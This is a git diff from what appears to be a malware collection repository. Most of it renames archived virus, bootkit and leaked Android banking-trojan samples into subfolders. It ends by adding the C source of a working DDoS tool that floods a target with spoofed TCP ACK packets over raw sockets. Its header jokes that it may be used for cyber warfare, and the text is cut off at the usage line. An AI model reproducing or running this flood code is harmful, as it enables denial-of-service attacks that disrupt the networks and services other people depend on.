diff --git a/Acad/Virus.Acad.Galaxy b/Acad/Galaxy.acad similarity index 100% rename from Acad/Virus.Acad.Galaxy rename to Acad/Galaxy.acad diff --git a/Acad/Virus.Acad.Pobresito b/Acad/Pobresito.acad similarity index 100% rename from Acad/Virus.Acad.Pobresito rename to Acad/Pobresito.acad diff --git a/Acad/Virus.Acad.Star b/Acad/Star.acad similarity index 100% rename from Acad/Virus.Acad.Star rename to Acad/Star.acad diff --git a/Engines/Virus.BAT.Poly.7z b/Engines/BAT/Virus.BAT.Poly.7z similarity index 100% rename from Engines/Virus.BAT.Poly.7z rename to Engines/BAT/Virus.BAT.Poly.7z diff --git a/Engines/Virus.Linux.Lime.7z b/Engines/Linux/Virus.Linux.Lime.7z similarity index 100% rename from Engines/Virus.Linux.Lime.7z rename to Engines/Linux/Virus.Linux.Lime.7z diff --git a/Engines/Virus.VBS.KVPE.txt b/Engines/VBS/Virus.VBS.KVPE.txt similarity index 100% rename from Engines/Virus.VBS.KVPE.txt rename to Engines/VBS/Virus.VBS.KVPE.txt diff --git a/Engines/Virus.Win32.Abme.7z b/Engines/Win32/Virus.Win32.Abme.7z similarity index 100% rename from Engines/Virus.Win32.Abme.7z rename to Engines/Win32/Virus.Win32.Abme.7z diff --git a/Engines/Virus.Win32.Alma.7z b/Engines/Win32/Virus.Win32.Alma.7z similarity index 100% rename from Engines/Virus.Win32.Alma.7z rename to Engines/Win32/Virus.Win32.Alma.7z diff --git a/Engines/Virus.Win32.Antisocial.7z b/Engines/Win32/Virus.Win32.Antisocial.7z similarity index 100% rename from Engines/Virus.Win32.Antisocial.7z rename to Engines/Win32/Virus.Win32.Antisocial.7z diff --git a/Engines/Virus.Win32.Antiweb.7z b/Engines/Win32/Virus.Win32.Antiweb.7z similarity index 100% rename from Engines/Virus.Win32.Antiweb.7z rename to Engines/Win32/Virus.Win32.Antiweb.7z diff --git a/Engines/Virus.Win32.Ape.7z b/Engines/Win32/Virus.Win32.Ape.7z similarity index 100% rename from Engines/Virus.Win32.Ape.7z rename to Engines/Win32/Virus.Win32.Ape.7z diff --git a/Engines/Virus.Win32.Benny.a.7z b/Engines/Win32/Virus.Win32.Benny.a.7z similarity index 100% rename from Engines/Virus.Win32.Benny.a.7z rename to Engines/Win32/Virus.Win32.Benny.a.7z diff --git a/Engines/Virus.Win32.Bi-Perm.7z b/Engines/Win32/Virus.Win32.Bi-Perm.7z similarity index 100% rename from Engines/Virus.Win32.Bi-Perm.7z rename to Engines/Win32/Virus.Win32.Bi-Perm.7z diff --git a/Engines/Virus.Win32.Blm.asm b/Engines/Win32/Virus.Win32.Blm.asm similarity index 100% rename from Engines/Virus.Win32.Blm.asm rename to Engines/Win32/Virus.Win32.Blm.asm diff --git a/Engines/Virus.Win32.Chaos.ASM b/Engines/Win32/Virus.Win32.Chaos.ASM similarity index 100% rename from Engines/Virus.Win32.Chaos.ASM rename to Engines/Win32/Virus.Win32.Chaos.ASM diff --git a/Engines/Virus.Win32.DarkElf.asm b/Engines/Win32/Virus.Win32.DarkElf.asm similarity index 100% rename from Engines/Virus.Win32.DarkElf.asm rename to Engines/Win32/Virus.Win32.DarkElf.asm diff --git a/Engines/Virus.Win32.Dina.7z b/Engines/Win32/Virus.Win32.Dina.7z similarity index 100% rename from Engines/Virus.Win32.Dina.7z rename to Engines/Win32/Virus.Win32.Dina.7z diff --git a/Engines/Virus.Win32.Dizzy.7z b/Engines/Win32/Virus.Win32.Dizzy.7z similarity index 100% rename from Engines/Virus.Win32.Dizzy.7z rename to Engines/Win32/Virus.Win32.Dizzy.7z diff --git a/Engines/Virus.Win32.Dme.7z b/Engines/Win32/Virus.Win32.Dme.7z similarity index 100% rename from Engines/Virus.Win32.Dme.7z rename to Engines/Win32/Virus.Win32.Dme.7z diff --git a/Engines/Virus.Win32.Expo.7z b/Engines/Win32/Virus.Win32.Expo.7z similarity index 100% rename from Engines/Virus.Win32.Expo.7z rename to Engines/Win32/Virus.Win32.Expo.7z diff --git a/Engines/Virus.Win32.Flying.asm b/Engines/Win32/Virus.Win32.Flying.asm similarity index 100% rename from Engines/Virus.Win32.Flying.asm rename to Engines/Win32/Virus.Win32.Flying.asm diff --git a/Engines/Virus.Win32.Gv.ASM b/Engines/Win32/Virus.Win32.Gv.ASM similarity index 100% rename from Engines/Virus.Win32.Gv.ASM rename to Engines/Win32/Virus.Win32.Gv.ASM diff --git a/Engines/Virus.Win32.Ipe32.txt b/Engines/Win32/Virus.Win32.Ipe32.txt similarity index 100% rename from Engines/Virus.Win32.Ipe32.txt rename to Engines/Win32/Virus.Win32.Ipe32.txt diff --git a/Engines/Virus.Win32.Kpasm.7z b/Engines/Win32/Virus.Win32.Kpasm.7z similarity index 100% rename from Engines/Virus.Win32.Kpasm.7z rename to Engines/Win32/Virus.Win32.Kpasm.7z diff --git a/Engines/Virus.Win32.Kpasm.English.pdf b/Engines/Win32/Virus.Win32.Kpasm.English.pdf similarity index 100% rename from Engines/Virus.Win32.Kpasm.English.pdf rename to Engines/Win32/Virus.Win32.Kpasm.English.pdf diff --git a/Engines/Virus.Win32.Morpher.a.asm b/Engines/Win32/Virus.Win32.Morpher.a.asm similarity index 100% rename from Engines/Virus.Win32.Morpher.a.asm rename to Engines/Win32/Virus.Win32.Morpher.a.asm diff --git a/Engines/Virus.Win32.Morpher.b.asm b/Engines/Win32/Virus.Win32.Morpher.b.asm similarity index 100% rename from Engines/Virus.Win32.Morpher.b.asm rename to Engines/Win32/Virus.Win32.Morpher.b.asm diff --git a/Engines/Virus.Win32.NBKPE.txt b/Engines/Win32/Virus.Win32.NBKPE.txt similarity index 100% rename from Engines/Virus.Win32.NBKPE.txt rename to Engines/Win32/Virus.Win32.NBKPE.txt diff --git a/Engines/Virus.Win32.Nazka.528 b/Engines/Win32/Virus.Win32.Nazka.528 similarity index 100% rename from Engines/Virus.Win32.Nazka.528 rename to Engines/Win32/Virus.Win32.Nazka.528 diff --git a/Engines/Virus.Win32.Pker.inc b/Engines/Win32/Virus.Win32.Pker.inc similarity index 100% rename from Engines/Virus.Win32.Pker.inc rename to Engines/Win32/Virus.Win32.Pker.inc diff --git a/Engines/Virus.Win32.Plexar.asm b/Engines/Win32/Virus.Win32.Plexar.asm similarity index 100% rename from Engines/Virus.Win32.Plexar.asm rename to Engines/Win32/Virus.Win32.Plexar.asm diff --git a/Engines/Virus.Win32.Poly.7z b/Engines/Win32/Virus.Win32.Poly.7z similarity index 100% rename from Engines/Virus.Win32.Poly.7z rename to Engines/Win32/Virus.Win32.Poly.7z diff --git a/Engines/Virus.Win32.Real.inc b/Engines/Win32/Virus.Win32.Real.inc similarity index 100% rename from Engines/Virus.Win32.Real.inc rename to Engines/Win32/Virus.Win32.Real.inc diff --git a/Engines/Virus.Win32.Simple.7z b/Engines/Win32/Virus.Win32.Simple.7z similarity index 100% rename from Engines/Virus.Win32.Simple.7z rename to Engines/Win32/Virus.Win32.Simple.7z diff --git a/Engines/Virus.Win32.Spectr0.7z b/Engines/Win32/Virus.Win32.Spectr0.7z similarity index 100% rename from Engines/Virus.Win32.Spectr0.7z rename to Engines/Win32/Virus.Win32.Spectr0.7z diff --git a/Engines/Virus.Win32.Vpe.7z b/Engines/Win32/Virus.Win32.Vpe.7z similarity index 100% rename from Engines/Virus.Win32.Vpe.7z rename to Engines/Win32/Virus.Win32.Vpe.7z diff --git a/Engines/Virus.Win32.Xtg.7z b/Engines/Win32/Virus.Win32.Xtg.7z similarity index 100% rename from Engines/Virus.Win32.Xtg.7z rename to Engines/Win32/Virus.Win32.Xtg.7z diff --git a/Engines/Virus.Win32.Yad13.7z b/Engines/Win32/Virus.Win32.Yad13.7z similarity index 100% rename from Engines/Virus.Win32.Yad13.7z rename to Engines/Win32/Virus.Win32.Yad13.7z diff --git a/Engines/Virus.Win32.badf00d.asm b/Engines/Win32/Virus.Win32.badf00d.asm similarity index 100% rename from Engines/Virus.Win32.badf00d.asm rename to Engines/Win32/Virus.Win32.badf00d.asm diff --git a/Leaks/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.001 b/Leaks/Android/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.001 similarity index 100% rename from Leaks/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.001 rename to Leaks/Android/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.001 diff --git a/Leaks/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.002 b/Leaks/Android/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.002 similarity index 100% rename from Leaks/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.002 rename to Leaks/Android/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.002 diff --git a/Leaks/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.003 b/Leaks/Android/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.003 similarity index 100% rename from Leaks/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.003 rename to Leaks/Android/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.003 diff --git a/Leaks/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.004 b/Leaks/Android/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.004 similarity index 100% rename from Leaks/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.004 rename to Leaks/Android/Android.Anubis.Unknown/Android.Anubis.Leak2020.7z.004 diff --git a/Leaks/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.001 b/Leaks/Android/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.001 similarity index 100% rename from Leaks/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.001 rename to Leaks/Android/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.001 diff --git a/Leaks/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.002 b/Leaks/Android/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.002 similarity index 100% rename from Leaks/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.002 rename to Leaks/Android/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.002 diff --git a/Leaks/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.003 b/Leaks/Android/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.003 similarity index 100% rename from Leaks/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.003 rename to Leaks/Android/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.003 diff --git a/Leaks/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.004 b/Leaks/Android/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.004 similarity index 100% rename from Leaks/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.004 rename to Leaks/Android/Android.Anubus.2.5.Leak/Android.Anubus.2.5.Leak.7z.004 diff --git a/Leaks/Android.Cerberus/Android.Cerberus.7z.001 b/Leaks/Android/Android.Cerberus/Android.Cerberus.7z.001 similarity index 100% rename from Leaks/Android.Cerberus/Android.Cerberus.7z.001 rename to Leaks/Android/Android.Cerberus/Android.Cerberus.7z.001 diff --git a/Leaks/Android.Cerberus/Android.Cerberus.7z.002 b/Leaks/Android/Android.Cerberus/Android.Cerberus.7z.002 similarity index 100% rename from Leaks/Android.Cerberus/Android.Cerberus.7z.002 rename to Leaks/Android/Android.Cerberus/Android.Cerberus.7z.002 diff --git a/Leaks/Android.Cerberus/Android.Cerberus.7z.003 b/Leaks/Android/Android.Cerberus/Android.Cerberus.7z.003 similarity index 100% rename from Leaks/Android.Cerberus/Android.Cerberus.7z.003 rename to Leaks/Android/Android.Cerberus/Android.Cerberus.7z.003 diff --git a/Leaks/Android.Cerberus/Android.Cerberus.7z.004 b/Leaks/Android/Android.Cerberus/Android.Cerberus.7z.004 similarity index 100% rename from Leaks/Android.Cerberus/Android.Cerberus.7z.004 rename to Leaks/Android/Android.Cerberus/Android.Cerberus.7z.004 diff --git a/Leaks/Android.Cerberus/Android.Cerberus.7z.005 b/Leaks/Android/Android.Cerberus/Android.Cerberus.7z.005 similarity index 100% rename from Leaks/Android.Cerberus/Android.Cerberus.7z.005 rename to Leaks/Android/Android.Cerberus/Android.Cerberus.7z.005 diff --git a/Leaks/Android.Cerberus/Android.Cerberus.7z.006 b/Leaks/Android/Android.Cerberus/Android.Cerberus.7z.006 similarity index 100% rename from Leaks/Android.Cerberus/Android.Cerberus.7z.006 rename to Leaks/Android/Android.Cerberus/Android.Cerberus.7z.006 diff --git a/Leaks/Android.Cerberus/Android.Cerberus.7z.007 b/Leaks/Android/Android.Cerberus/Android.Cerberus.7z.007 similarity index 100% rename from Leaks/Android.Cerberus/Android.Cerberus.7z.007 rename to Leaks/Android/Android.Cerberus/Android.Cerberus.7z.007 diff --git a/Leaks/Android.Dendriod.7z b/Leaks/Android/Android.Dendriod.7z similarity index 100% rename from Leaks/Android.Dendriod.7z rename to Leaks/Android/Android.Dendriod.7z diff --git a/Leaks/Bootkit.Rovnix.7z b/Leaks/Bootkit/Bootkit.Rovnix.7z similarity index 100% rename from Leaks/Bootkit.Rovnix.7z rename to Leaks/Bootkit/Bootkit.Rovnix.7z diff --git a/Leaks/Dexter.7z b/Leaks/Other/Dexter.7z similarity index 100% rename from Leaks/Dexter.7z rename to Leaks/Other/Dexter.7z diff --git a/Leaks/Discord.Trojan.SpideyBot.a.txt b/Leaks/Other/Discord.Trojan.SpideyBot.a.txt similarity index 100% rename from Leaks/Discord.Trojan.SpideyBot.a.txt rename to Leaks/Other/Discord.Trojan.SpideyBot.a.txt diff --git a/Leaks/Backdoor.Win32.APT34.PoisonFrogC2.7z b/Leaks/Win32/Backdoor.Win32.APT34.PoisonFrogC2.7z similarity index 100% rename from Leaks/Backdoor.Win32.APT34.PoisonFrogC2.7z rename to Leaks/Win32/Backdoor.Win32.APT34.PoisonFrogC2.7z diff --git a/LegacyWindows/Win2k.CannaByte.asm b/LegacyWindows/Win2k/Win2k.CannaByte.asm similarity index 100% rename from LegacyWindows/Win2k.CannaByte.asm rename to LegacyWindows/Win2k/Win2k.CannaByte.asm diff --git a/LegacyWindows/Win2k.CannaByte.v2.asm b/LegacyWindows/Win2k/Win2k.CannaByte.v2.asm similarity index 100% rename from LegacyWindows/Win2k.CannaByte.v2.asm rename to LegacyWindows/Win2k/Win2k.CannaByte.v2.asm diff --git a/LegacyWindows/Win2k.DOB.asm b/LegacyWindows/Win2k/Win2k.DOB.asm similarity index 100% rename from LegacyWindows/Win2k.DOB.asm rename to LegacyWindows/Win2k/Win2k.DOB.asm diff --git a/LegacyWindows/Win2k.Joss.asm b/LegacyWindows/Win2k/Win2k.Joss.asm similarity index 100% rename from LegacyWindows/Win2k.Joss.asm rename to LegacyWindows/Win2k/Win2k.Joss.asm diff --git a/LegacyWindows/Win2k.Ketamine.asm b/LegacyWindows/Win2k/Win2k.Ketamine.asm similarity index 100% rename from LegacyWindows/Win2k.Ketamine.asm rename to LegacyWindows/Win2k/Win2k.Ketamine.asm diff --git a/LegacyWindows/Win2k.Society.3434.asm b/LegacyWindows/Win2k/Win2k.Society.3434.asm similarity index 100% rename from LegacyWindows/Win2k.Society.3434.asm rename to LegacyWindows/Win2k/Win2k.Society.3434.asm diff --git a/LegacyWindows/Win2k.Stream.asm b/LegacyWindows/Win2k/Win2k.Stream.asm similarity index 100% rename from LegacyWindows/Win2k.Stream.asm rename to LegacyWindows/Win2k/Win2k.Stream.asm diff --git a/LegacyWindows/Win2k.TaiChi.asm b/LegacyWindows/Win2k/Win2k.TaiChi.asm similarity index 100% rename from LegacyWindows/Win2k.TaiChi.asm rename to LegacyWindows/Win2k/Win2k.TaiChi.asm diff --git a/LegacyWindows/Win32.FirstBorn.txt b/LegacyWindows/Win32/Win32.FirstBorn.txt similarity index 100% rename from LegacyWindows/Win32.FirstBorn.txt rename to LegacyWindows/Win32/Win32.FirstBorn.txt diff --git a/LegacyWindows/Win95.Altar.asm b/LegacyWindows/Win95/Win95.Altar.asm similarity index 100% rename from LegacyWindows/Win95.Altar.asm rename to LegacyWindows/Win95/Win95.Altar.asm diff --git a/LegacyWindows/Win95.Babylonia.11036.asm b/LegacyWindows/Win95/Win95.Babylonia.11036.asm similarity index 100% rename from LegacyWindows/Win95.Babylonia.11036.asm rename to LegacyWindows/Win95/Win95.Babylonia.11036.asm diff --git a/LegacyWindows/Win95.Bonk32.asm b/LegacyWindows/Win95/Win95.Bonk32.asm similarity index 100% rename from LegacyWindows/Win95.Bonk32.asm rename to LegacyWindows/Win95/Win95.Bonk32.asm diff --git a/LegacyWindows/Win95.Boobs.asm b/LegacyWindows/Win95/Win95.Boobs.asm similarity index 100% rename from LegacyWindows/Win95.Boobs.asm rename to LegacyWindows/Win95/Win95.Boobs.asm diff --git a/LegacyWindows/Win95.Espore.asm b/LegacyWindows/Win95/Win95.Espore.asm similarity index 100% rename from LegacyWindows/Win95.Espore.asm rename to LegacyWindows/Win95/Win95.Espore.asm diff --git a/LegacyWindows/Win95.Estukista.asm b/LegacyWindows/Win95/Win95.Estukista.asm similarity index 100% rename from LegacyWindows/Win95.Estukista.asm rename to LegacyWindows/Win95/Win95.Estukista.asm diff --git a/LegacyWindows/Win95.Etymo-Crypt.asm b/LegacyWindows/Win95/Win95.Etymo-Crypt.asm similarity index 100% rename from LegacyWindows/Win95.Etymo-Crypt.asm rename to LegacyWindows/Win95/Win95.Etymo-Crypt.asm diff --git a/LegacyWindows/Win95.Henze.asm b/LegacyWindows/Win95/Win95.Henze.asm similarity index 100% rename from LegacyWindows/Win95.Henze.asm rename to LegacyWindows/Win95/Win95.Henze.asm diff --git a/LegacyWindows/Win95.IceHeart.asm b/LegacyWindows/Win95/Win95.IceHeart.asm similarity index 100% rename from LegacyWindows/Win95.IceHeart.asm rename to LegacyWindows/Win95/Win95.IceHeart.asm diff --git a/LegacyWindows/Win95.Inca.asm b/LegacyWindows/Win95/Win95.Inca.asm similarity index 100% rename from LegacyWindows/Win95.Inca.asm rename to LegacyWindows/Win95/Win95.Inca.asm diff --git a/LegacyWindows/Win95.Invirsible.asm b/LegacyWindows/Win95/Win95.Invirsible.asm similarity index 100% rename from LegacyWindows/Win95.Invirsible.asm rename to LegacyWindows/Win95/Win95.Invirsible.asm diff --git a/LegacyWindows/Win95.K32.asm b/LegacyWindows/Win95/Win95.K32.asm similarity index 100% rename from LegacyWindows/Win95.K32.asm rename to LegacyWindows/Win95/Win95.K32.asm diff --git a/LegacyWindows/Win95.Lizard.asm b/LegacyWindows/Win95/Win95.Lizard.asm similarity index 100% rename from LegacyWindows/Win95.Lizard.asm rename to LegacyWindows/Win95/Win95.Lizard.asm diff --git a/LegacyWindows/Win95.Mad.2736.asm b/LegacyWindows/Win95/Win95.Mad.2736.asm similarity index 100% rename from LegacyWindows/Win95.Mad.2736.asm rename to LegacyWindows/Win95/Win95.Mad.2736.asm diff --git a/LegacyWindows/Win95.Marburg.asm b/LegacyWindows/Win95/Win95.Marburg.asm similarity index 100% rename from LegacyWindows/Win95.Marburg.asm rename to LegacyWindows/Win95/Win95.Marburg.asm diff --git a/LegacyWindows/Win95.Matrix.asm b/LegacyWindows/Win95/Win95.Matrix.asm similarity index 100% rename from LegacyWindows/Win95.Matrix.asm rename to LegacyWindows/Win95/Win95.Matrix.asm diff --git a/LegacyWindows/Win95.Molly.725.asm b/LegacyWindows/Win95/Win95.Molly.725.asm similarity index 100% rename from LegacyWindows/Win95.Molly.725.asm rename to LegacyWindows/Win95/Win95.Molly.725.asm diff --git a/LegacyWindows/Win95.Obsolete.asm b/LegacyWindows/Win95/Win95.Obsolete.asm similarity index 100% rename from LegacyWindows/Win95.Obsolete.asm rename to LegacyWindows/Win95/Win95.Obsolete.asm diff --git a/LegacyWindows/Win95.Radix.asm b/LegacyWindows/Win95/Win95.Radix.asm similarity index 100% rename from LegacyWindows/Win95.Radix.asm rename to LegacyWindows/Win95/Win95.Radix.asm diff --git a/LegacyWindows/Win95.Sk.asm b/LegacyWindows/Win95/Win95.Sk.asm similarity index 100% rename from LegacyWindows/Win95.Sk.asm rename to LegacyWindows/Win95/Win95.Sk.asm diff --git a/LegacyWindows/Win95.Unreal.asm b/LegacyWindows/Win95/Win95.Unreal.asm similarity index 100% rename from LegacyWindows/Win95.Unreal.asm rename to LegacyWindows/Win95/Win95.Unreal.asm diff --git a/LegacyWindows/Win95.Yildiz.asm b/LegacyWindows/Win95/Win95.Yildiz.asm similarity index 100% rename from LegacyWindows/Win95.Yildiz.asm rename to LegacyWindows/Win95/Win95.Yildiz.asm diff --git a/LegacyWindows/Win95.Zombie.asm b/LegacyWindows/Win95/Win95.Zombie.asm similarity index 100% rename from LegacyWindows/Win95.Zombie.asm rename to LegacyWindows/Win95/Win95.Zombie.asm diff --git a/LegacyWindows/Win98.BeGemot.8192.asm b/LegacyWindows/Win98/Win98.BeGemot.8192.asm similarity index 100% rename from LegacyWindows/Win98.BeGemot.8192.asm rename to LegacyWindows/Win98/Win98.BeGemot.8192.asm diff --git a/LegacyWindows/Win98.BlackBat.asm b/LegacyWindows/Win98/Win98.BlackBat.asm similarity index 100% rename from LegacyWindows/Win98.BlackBat.asm rename to LegacyWindows/Win98/Win98.BlackBat.asm diff --git a/LegacyWindows/Win98.Milennium.asm b/LegacyWindows/Win98/Win98.Milennium.asm similarity index 100% rename from LegacyWindows/Win98.Milennium.asm rename to LegacyWindows/Win98/Win98.Milennium.asm diff --git a/LegacyWindows/Win98.Priest.asm b/LegacyWindows/Win98/Win98.Priest.asm similarity index 100% rename from LegacyWindows/Win98.Priest.asm rename to LegacyWindows/Win98/Win98.Priest.asm diff --git a/LegacyWindows/Win98.Yobe.24576.asm b/LegacyWindows/Win98/Win98.Yobe.24576.asm similarity index 100% rename from LegacyWindows/Win98.Yobe.24576.asm rename to LegacyWindows/Win98/Win98.Yobe.24576.asm diff --git a/LegacyWindows/Win9x.DarkMillennium.asm b/LegacyWindows/Win9x/Win9x.DarkMillennium.asm similarity index 100% rename from LegacyWindows/Win9x.DarkMillennium.asm rename to LegacyWindows/Win9x/Win9x.DarkMillennium.asm diff --git a/LegacyWindows/Win9x.Estukista.asm b/LegacyWindows/Win9x/Win9x.Estukista.asm similarity index 100% rename from LegacyWindows/Win9x.Estukista.asm rename to LegacyWindows/Win9x/Win9x.Estukista.asm diff --git a/LegacyWindows/Win9x.Noise.asm b/LegacyWindows/Win9x/Win9x.Noise.asm similarity index 100% rename from LegacyWindows/Win9x.Noise.asm rename to LegacyWindows/Win9x/Win9x.Noise.asm diff --git a/LegacyWindows/Win9x.Repus.asm b/LegacyWindows/Win9x/Win9x.Repus.asm similarity index 100% rename from LegacyWindows/Win9x.Repus.asm rename to LegacyWindows/Win9x/Win9x.Repus.asm diff --git a/LegacyWindows/Win9x.Sentinel.asm b/LegacyWindows/Win9x/Win9x.Sentinel.asm similarity index 100% rename from LegacyWindows/Win9x.Sentinel.asm rename to LegacyWindows/Win9x/Win9x.Sentinel.asm diff --git a/LegacyWindows/Win9x.Society.3434.asm b/LegacyWindows/Win9x/Win9x.Society.3434.asm similarity index 100% rename from LegacyWindows/Win9x.Society.3434.asm rename to LegacyWindows/Win9x/Win9x.Society.3434.asm diff --git a/LegacyWindows/Win9x.Wiedzmin.asm b/LegacyWindows/Win9x/Win9x.Wiedzmin.asm similarity index 100% rename from LegacyWindows/Win9x.Wiedzmin.asm rename to LegacyWindows/Win9x/Win9x.Wiedzmin.asm diff --git a/LegacyWindows/WinCE.Dust.TXT b/LegacyWindows/WinCE/WinCE.Dust.TXT similarity index 100% rename from LegacyWindows/WinCE.Dust.TXT rename to LegacyWindows/WinCE/WinCE.Dust.TXT diff --git a/Libs/Bootkit/StonedBootkitFramework.7z b/Libs/Bootkit/StonedBootkitFramework.7z new file mode 100644 index 00000000..033f7e94 Binary files /dev/null and b/Libs/Bootkit/StonedBootkitFramework.7z differ diff --git a/Libs/DDoS/VirTool.DDoS.ACK.c b/Libs/DDoS/VirTool.DDoS.ACK.c new file mode 100644 index 00000000..b696fa7c --- /dev/null +++ b/Libs/DDoS/VirTool.DDoS.ACK.c @@ -0,0 +1,194 @@ +/* + This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;) +*/ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define MAX_PACKET_SIZE 4096 +#define PHI 0x9e3779b9 +static unsigned long int Q[4096], c = 362436; +volatile int limiter; +volatile unsigned int pps; +volatile unsigned int sleeptime = 100; +void init_rand(unsigned long int x) +{ + int i; + Q[0] = x; + Q[1] = x + PHI; + Q[2] = x + PHI + PHI; + for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } +} +unsigned long int rand_cmwc(void) +{ + unsigned long long int t, a = 18782LL; + static unsigned long int i = 4095; + unsigned long int x, r = 0xfffffffe; + i = (i + 1) & 4095; + t = a * Q[i] + c; + c = (t >> 32); + x = t + c; + if (x < c) { + x++; + c++; + } + return (Q[i] = r - x); +} +unsigned short csum (unsigned short *buf, int count) +{ + register unsigned long sum = 0; + while( count > 1 ) { sum += *buf++; count -= 2; } + if(count > 0) { sum += *(unsigned char *)buf; } + while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } + return (unsigned short)(~sum); +} +unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { + struct tcp_pseudo + { + unsigned long src_addr; + unsigned long dst_addr; + unsigned char zero; + unsigned char proto; + unsigned short length; + } pseudohead; + unsigned short total_len = iph->tot_len; + pseudohead.src_addr=iph->saddr; + pseudohead.dst_addr=iph->daddr; + pseudohead.zero=0; + pseudohead.proto=IPPROTO_TCP; + pseudohead.length=htons(sizeof(struct tcphdr)); + int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); + unsigned short *tcp = malloc(totaltcp_len); + memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); + memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); + unsigned short output = csum(tcp,totaltcp_len); + free(tcp); + return output; +} +void setup_ip_header(struct iphdr *iph) +{ + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); + iph->id = htonl(54321); + iph->frag_off = 0; + iph->ttl = MAXTTL; + iph->protocol = 6; + iph->check = 0; + iph->saddr = inet_addr("192.168.3.100"); +} +void setup_tcp_header(struct tcphdr *tcph) +{ + tcph->source = htons(5678); + tcph->seq = rand(); + tcph->ack_seq = 1; + tcph->res2 = 0; + tcph->doff = 5; + tcph->ack = 1; + tcph->window = htons(65535); + tcph->check = 0; + tcph->urg_ptr = 0; +} +void *flood(void *par1) +{ + char *td = (char *)par1; + char datagram[MAX_PACKET_SIZE]; + struct iphdr *iph = (struct iphdr *)datagram; + struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); + struct sockaddr_in sin; + sin.sin_family = AF_INET; + sin.sin_port = htons (rand() % 20480); + sin.sin_addr.s_addr = inet_addr(td); + int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); + if(s < 0){ + fprintf(stderr, ":: cant open raw socket. got root?\n"); + exit(-1); + } + memset(datagram, 0, MAX_PACKET_SIZE); + setup_ip_header(iph); + setup_tcp_header(tcph); + tcph->dest = htons (rand() % 20480); + iph->daddr = sin.sin_addr.s_addr; + iph->check = csum ((unsigned short *) datagram, iph->tot_len); + int tmp = 1; + const int *val = &tmp; + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ + fprintf(stderr, ":: motherfucking error.\n"); + exit(-1); + } + init_rand(time(NULL)); + register unsigned int i; + i = 0; + while(1){ + sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); + iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); + iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); + iph->check = csum ((unsigned short *) datagram, iph->tot_len); + tcph->seq = rand_cmwc() & 0xFFFF; + tcph->source = htons(rand_cmwc() & 0xFFFF); + tcph->check = 0; + tcph->check = tcpcsum(iph, tcph); + pps++; + if(i >= limiter) + { + i = 0; + usleep(sleeptime); + } + i++; + } +} +int main(int argc, char *argv[ ]) +{ + if(argc < 5){ + fprintf(stderr, "Invalid parameters!\n"); + fprintf(stdout, "Usage: %s